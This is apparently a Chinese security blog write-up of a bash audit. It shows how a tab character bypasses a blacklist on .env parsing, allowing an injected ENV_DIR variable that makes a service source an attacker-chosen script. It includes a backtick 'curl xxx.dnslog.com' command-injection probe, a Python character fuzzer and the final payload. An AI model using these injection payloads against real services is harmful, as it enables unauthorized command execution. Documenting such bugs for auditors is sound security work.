Bash代码审计Case

问题背景

我在一次安全评估过程中,幸运地遇到了一个可以污染环境变量的漏洞点。

不过因为开发工程师做了黑名单字符的判断,所以并不能很容易地利用。

服务是使用bash脚本编写的,漏洞点的代码片段如下。其中$PROJECT_DIR目录下我可以创建任意文件,并且$PROJECT_DIR/.env文件内容是我完全可控的

1
2
3
4
5
6
7
8
9
10
11
if [ -f "$PROJECT_DIR/.env" ]; then
# 过滤所有特殊字符,并只保留所有USER_前缀的环境变量,避免用户变量污染
echo "加载用户自定义环境变量"
cat $PROJECT_DIR/.env | grep '^USER_.*' | grep -v '^.*[ ;)(`|&].*$'
export $(grep -v '^#' $PROJECT_DIR/.env | grep -v '^.*[ ;)(`|&].*$' | grep '^USER_.*' | sed 's/ //g' | xargs) # 使用字符黑名单做的限制,不允许使用 ;)(`|& 任何一个字符
echo ""
fi

...

source $ENV_DIR # 执行另外一个脚本

业务使用者正常情况下,会在$PROJECT_DIR/.env文件写入下面这种格式的内容。

1
2
USER_X=1
USER_Y=2

每一行以USER_开头,被解析成环境变量给后续的程序使用。

我尝试将 $PROJECT_DIR/.env 文件内容写成下面这样,来命令执行或者造成环境变量污染

1
2
`curl xxx.dnslog.com`   # ``来命令执行
new_variable=11 # 用空格分割来注入新的环境变量

因为代码中的字符黑名单的限制,所以都无法成功。

到这里的时候,我只能看看下面这行代码存不存绕过,能让我污染环境变量。

1
export $(grep -v '^#' $PROJECT_DIR/.env | grep -v '^.*[ ;)(`|&].*$' | grep '^USER_.*' | sed 's/ //g' | xargs)

如果可以污染环境变量,就修改 ENV_DIR变量为我指定的文本路径,来执行我的脚本,从而达到命令执行的效果。

分析过程

我的想法是找下有没有不在黑名单的字符,能够让我生成新的变量。

于是就写了简单的程序跑一下:遍历所有单字节的字符,如果能够生成新的XXX变量,就打印这个字符。

代码如下

1
2
3
4
5
6
7
8
9
10
11
import os


for i in range(1,256):
path = "/tmp/env" + str(i)
with open(path, "w") as f:
f.write("USER_X=Y" + chr(i) + "XXX=YY")
cmd = """export $(grep -v '^#' %s | grep -v '^.*[ ;)(`|&].*$' | grep '^USER_.*' | sed 's/ //g' 2>/dev/null | xargs) 1>/dev/null 2>&1 ;echo %s;env|grep -i "^XXX"|wc -l""" % (path, str(i))
with open("/tmp/1.sh", "w") as f:
f.write(cmd)
os.system("bash /tmp/1.sh")

结果 \x09 也就是 \t 可以生成新变量。

所以我控制 $PROJECT_DIR/.env 内容为

1
\tENV_DIR=/PROJECT_DIR_ABSOLUATE_PATH/my.sh

就可以让服务执行我的my.sh脚本。注意这里的 \t是 \x09 字符。

1
2
with open(".env") as f:
f.write("\x09ENV_DIR=/PROJECT_DIR_ABSOLUATE_PATH/my.sh")

总结

这个case能造成命令执行的最初原因是开发工程师漏掉了 \x09 字符,而 \x09 字符也可以被xargs命令用来作为分隔符号。

另外,在判断有没有字符能够突破某某限制时,用遍历的思想让程序去找,实现简单且效果很好。

当我在写这篇总结的时候,发现man xargs手册中已经很清楚地说明了xargs会以 空格、tab按键、换行、EOF字符作为分割。或许后面在评估过程中,想测试命令是否存在安全问题前应该看看man手册的说明。